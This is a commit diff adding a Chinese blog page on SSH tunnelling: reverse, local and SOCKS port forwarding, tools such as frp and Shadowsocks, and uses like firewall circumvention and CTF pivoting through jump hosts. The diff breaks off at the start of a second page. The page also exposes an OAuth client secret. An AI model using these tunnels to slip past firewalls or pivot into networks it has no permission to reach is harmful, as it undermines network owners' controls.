This commit is contained in:
2025-12-31 16:00:29 +00:00
commit 3688f93d5d
310 changed files with 93400 additions and 0 deletions

393
2021/05/07/ssh.html Normal file
View File

@@ -0,0 +1,393 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>网络任意互联指南 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="网络任意互联指南" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="SSH真的是太厉害了" />
<meta property="og:description" content="SSH真的是太厉害了" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-05-07T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="网络任意互联指南" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-05-07T00:00:00+08:00","datePublished":"2021-05-07T00:00:00+08:00","description":"SSH真的是太厉害了","headline":"网络任意互联指南","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/05/07/ssh.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/05/07/ssh.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/05/07/ssh.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1767196818" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Thu, 01 Jan 2026 00:00:18 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-05-07T00:00:00+08:00">7 May 2021</time> - 字数统计3400 - 阅读大约需要10分钟 - Hits: <span id="/2021/05/07/ssh.html" class="visitors">Loading...</span></small>
<h1 class="p-name">网络任意互联指南</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Fri, 07 May 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章介绍了SSH的多种功能如内网穿透、端口映射、代理隧道等它能让用户在面临防火墙限制时实现网络任意互联。作者惊叹于SSH的全能性但同时也指出其速度较慢的局限。文章建议对于内网穿透使用frp等更易用的替代工具对于代理隧道Shadowsocks或V2ray等高效、反检测性强的服务是更好的选择。作者最后感慨SSH的强大对网络互联的深入理解也由此提高。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#万能的ssh">万能的SSH</a><ul><li><a href="#内网穿透">内网穿透</a></li><li><a href="#端口映射">端口映射</a></li><li><a href="#代理隧道">代理隧道</a></li></ul></li><li><a href="#ssh部分功能的上位替代">SSH部分功能的上位替代</a><ul><li><a href="#内网穿透-1">内网穿透</a></li><li><a href="#代理隧道-1">代理隧道</a></li></ul></li><li><a href="#任意互联示例">任意互联示例</a></li><li><a href="#总结">总结</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>SSH真的是太厉害了<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>最近一段时间我对网络的各种连法很感兴趣比如说内网穿透端口映射或者说打隧道之类的。一般来说做这些事情应该都要装一些软件才行不过最近我发现居然平时很常用的SSH竟然包含所有我想要的这些功能真的是让我感觉很神奇。所以也许我已经火星了但是今天我还是想记录一下。</p>
<h1 id="万能的ssh">
<a href="#万能的ssh"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 万能的SSH
</h1>
<p>如果你以为SSH就只是加密了的Telnet那可真是大错特错我感觉SSH想做的事情要更厉害它可能是想做一个加密的TCP上面可以跑各种应用而且防火墙还不知道里面跑的内容是什么。 </p><p>
不过最终它也没能取代TCP毕竟它本来就是基于TCP的而且其他很多功能用的人也很少这让我感觉很可惜……不过确实SSH啥都能干就是速度慢了亿点点…… </p><p>
所以我今天就来说一说它的功能和一些上位替代。</p>
<h2 id="内网穿透">
<a href="#内网穿透"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 内网穿透
</h2>
<p>假如我有一台电脑在家,然后我还租了一个垃圾云服务器,服务器的性能很差但是家里的电脑性能很好。假如有一天我想在外面去玩我的电脑要怎么办呢? </p><p>
一般来说家里的电脑都是在内网之中,而服务器都是在公网,任何一个地方都能访问,现在我如果想访问家里的电脑直接连难度很大,几乎是做不到的对吧,于是这时候我们可以让家里的电脑去连服务器,这样我们就有一条链路连接到家里的电脑了,然后我们再用别的设备去连服务器,这样我们就能间接访问我们的电脑了。 </p><p>
具体要怎么做呢很简单用SSH就能解决这个问题首先一般服务器上都装的是Linux系统一般都是自带OpenSSH的而且还是SSH服务端现在的Windows 10也是默认自带OpenSSH的只不过是客户端。所以首先我们要做的就是用家里的电脑去连服务器。这时候的连接不能直接SSH连过去普通的连没有任何作用只是登录到远程服务器上了而已我们必须要加上一些参数就像这样</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-R</span> 3389:127.0.0.1:3389 root@remote-ip
</code></pre></div></div>
<p>执行这条指令之后系统仍然会正常的去连接到远程服务器上,但是你如果执行一下<code class="language-plaintext highlighter-rouge">netstat -nlp</code>的话就可以发现SSH在本地也监听了一个3389的端口。不过默认的配置下SSH只会在服务器上映射这个端口在服务器外是连不上的另外如果说我只想穿透而不想打开服务器终端要该怎么办呢 </p><p>
首先默认不登录终端这个方法很简单,加点参数就可以,就像这样:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-CfNR</span> 3389:127.0.0.1:3389 root@remote-ip
</code></pre></div></div>
<p>这样启动穿透之后就不会在家里的电脑上一直开着服务器终端了,只会有一个黑框而已,当然因为用了<code class="language-plaintext highlighter-rouge">-f</code>参数你即使把黑框关了也不会影响。另外还有就是映射到服务器外这个问题其实这个问题也很好解决在sshd配置文件里把<code class="language-plaintext highlighter-rouge">GatewayPorts no</code>改成<code class="language-plaintext highlighter-rouge">GatewayPorts yes</code>,设置好了之后别忘了在服务器的防火墙和服务器托管商的防火墙那里放行端口。</p>
<h2 id="端口映射">
<a href="#端口映射"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 端口映射
</h2>
<p>假如上面的穿透你设置好了但是你说你不知道sshd配置文件在哪里防火墙关不掉服务器不是你的好家伙那内网穿透还搞什么没关系SSH比你想象的要厉害假如你没办法开服务器的端口那你可以把服务器上面的端口映射到本机上。 </p><p>
那么现在内网穿透已经搞好了,但是由于各种各样的原因你访问不到服务器的端口,这时候你在外面,可以在外面用电脑执行以下命令:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-CfNL</span> 3390:127.0.0.1:3389 root@remote-ip
</code></pre></div></div>
<p>这样一波操作你家里的那台电脑上的3389端口就被映射到了你现在用的电脑上的3390端口了当然效率很低这个没办法毕竟SSH这些功能没有完全流行起来也是因为它的效率确实低而且还容易断也没个自带的断线重连……</p>
<h2 id="代理隧道">
<a href="#代理隧道"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 代理隧道
</h2>
<p>虽然说我现在很想吐槽一下SSH并且想要赶紧说说它的一些上位替代不过我还是先把所有的SSH厉害的功能讲完吧。 </p><p>
SSH更厉害的功能就是随手开代理又叫做动态端口映射一般来说如果想要在服务器上配置一个代理很麻烦而且也很费时间但是如果用SSH隧道开一个代理就只用一条命令而且还不需要在服务器上做任何配置真的是非常的方便。
具体是什么命令呢?很简单,就是这样:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-CfND</span> 127.0.0.1:1080 root@remote-ip
</code></pre></div></div>
<p>执行这条命令之后就会在本机开一个监听地址为<code class="language-plaintext highlighter-rouge">127.0.0.1:1080</code>的socks5代理你可以使用Proxifier之类的socks5客户端去连接它然后就能直接通过这个代理用服务器上网了。假如你还想把这个代理共享给其他同在局域网的人用可以把<code class="language-plaintext highlighter-rouge">127.0.0.1</code>改成<code class="language-plaintext highlighter-rouge">0.0.0.0</code>并且加一个<code class="language-plaintext highlighter-rouge">-g</code>的参数,这样同网络的人也就可以通过你的电脑连接到隧道上了。 </p><p>
当然这个相比于上面那个端口映射要厉害一些不过如果没有socks5客户端就只能用上面那个了。 </p><p>
另外如果有国外的服务器也可以使用这种方式穿过防火长城而且因为它是走的SSH隧道基本上很难通过流量分析看出来你在做什么可惜就是效率太低很慢所以即使它抗封锁能力不错但是用的人不是很多…… </p><p>
所以呢SSH作为系统自带的软件功能已经是非常强大了有这些功能基本上可以在一定程度上无视防火墙随便穿轻松透而且再加上scp、sftp等功能连接不同的电脑真的是从未如此轻松。 </p><p>
很可惜这么好的软件效率太低了我试了一下用把同网络下的树莓派做成代理速度基本上只能达到10Mbps左右可能看1080p的直播没有问题再高一些的蓝光视频还是不太行会时不时的卡另外就更不用说连接国外的服务器了看网页确确实实没有问题视频的话也只是勉强能看体验还是不够好。虽然它作为默认安装的软件很不错但是我们还是要考虑体验的嘛所以我就来说说它的一些上位替代品吧。</p>
<h1 id="ssh部分功能的上位替代">
<a href="#ssh部分功能的上位替代"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> SSH部分功能的上位替代
</h1>
<h2 id="内网穿透-1">
<a href="#内网穿透-1"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 内网穿透
</h2>
<p>假如想要自己做一个内网穿透,目前以我自己的感受来说,感觉还是<a href="https://github.com/fatedier/frp">frp</a>最好用应该说不愧是Golang写的程序配置简单即开即用。下载一个frps的程序放在公网的服务器上基本上用默认的配置就可以直接使用不过为了安全还是建议稍微改一改默认情况下是没有验证和加密的。内网机器的话就用frpc连接就可以了具体怎么搭建官方文档已经说的很清楚了这里就不再多描述。另外如果没有公网服务器也可以试试SakuraFrp不过他们家貌似看起来快凉了国内节点要花1CNY实名认证国外节点目前凉的差不多了而且貌似经常受到攻击现在想充钱也充不了还是挺糟糕的。 </p><p>
不过他们倒是挺良心的给了个<a href="https://www.natfrp.com/peer_vendors.php">友商列表</a>,如果自己没服务器的话用这些服务商也是个不错的选择。</p>
<h2 id="代理隧道-1">
<a href="#代理隧道-1"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 代理隧道
</h2>
<p>要是整正儿八经的隧道还是得用Shadowsocks或者是V2ray之类的一是反检测还是很厉害的二是效率高这些隧道软件速度是真的没话说确实相比SSH隧道而言要快很多。如果要搭Shadowsocks-libev可以看看<a href="https://gfw.report/blog/ss_tutorial/zh/">这篇文章</a>V2ray的话GitHub上有很多那种一键脚本直接用的话也没问题包括也有更稳当的Cloudflare+ws+tls模式非常的不错。 </p><p>
还有就是个人经验吧,如果真想好好上,最好不要自己租云服务器,因为大多数人没经验,不知道哪个线路好,搭出来性价比没有机场高,速度也没机场快,节点少,而且被封的成本更高,所以真要用还是去租机场比较合适。 </p><p>
因为我实际上对搞这些隧道并没有什么特别厉害的经验 <del>(不然我为啥不去开机场😂?)</del> ,所以这里就不再过多描述了。</p>
<h1 id="任意互联示例">
<a href="#任意互联示例"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 任意互联示例
</h1>
<p>既然目前已经有办法任意访问或者映射端口那么内网对于我们来说就不会有太多阻碍了不过如果完全没有公网IP我确实真想不出来怎么搞就是nat穿透还要一个接线的服务器。这些东西假如以后打CTF还是蛮有用的有时候CTF会特地出几个内网隔离的机器要用跳板除了用NCSSH也算是个不错的选择了。有防火墙直接把靶服务映射到自己机器上打打起来和没防火墙一个手感。再不行直接代理接过去装作目标主机扫描的时候也会方便很多。反弹shell连不到自己主机把自己映射到跳板机上吧各种连接轻松搞定。 </p><p>
就是不打CTF就说在外面突然想下论文学校能上知网挂个树莓派在学校frp连到公网服务器SSH隧道开代理然后就能随便下论文了。</p>
<h1 id="总结">
<a href="#总结"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 总结
</h1>
<p>我现在又感觉互联的网络回来了看来就是有内网、防火墙也阻挡不了两台逻辑上能连接的主机。SSH真的是很厉害啊……虽然我才知道这一点不过这也就是学习的过程嘛了解了这个也许对网络有了更深入的认识吧……</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E7%BD%91%E7%BB%9C"><em>网络</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=SSH"><em>SSH</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E6%8C%87%E5%8D%97"><em>指南</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-05-07-ssh.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/05/07/ssh.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/04/18/hide.html">
上一篇Mayx的运维笔记 - 隐藏自己
</a>
</span>
<br />
<span class="next">
<a href="/2021/05/15/vulnerability.html">
下一篇:论如何发现一个计算机漏洞
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/05/07/ssh', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/05/07/ssh.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-01 00:00:18<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

View File

@@ -0,0 +1,349 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>论如何发现一个计算机漏洞 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="论如何发现一个计算机漏洞" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="网络安全?可不只是专业人员的事情。" />
<meta property="og:description" content="网络安全?可不只是专业人员的事情。" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-05-15T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="论如何发现一个计算机漏洞" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-05-15T00:00:00+08:00","datePublished":"2021-05-15T00:00:00+08:00","description":"网络安全?可不只是专业人员的事情。","headline":"论如何发现一个计算机漏洞","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/05/15/vulnerability.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/05/15/vulnerability.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/05/15/vulnerability.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1767196818" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
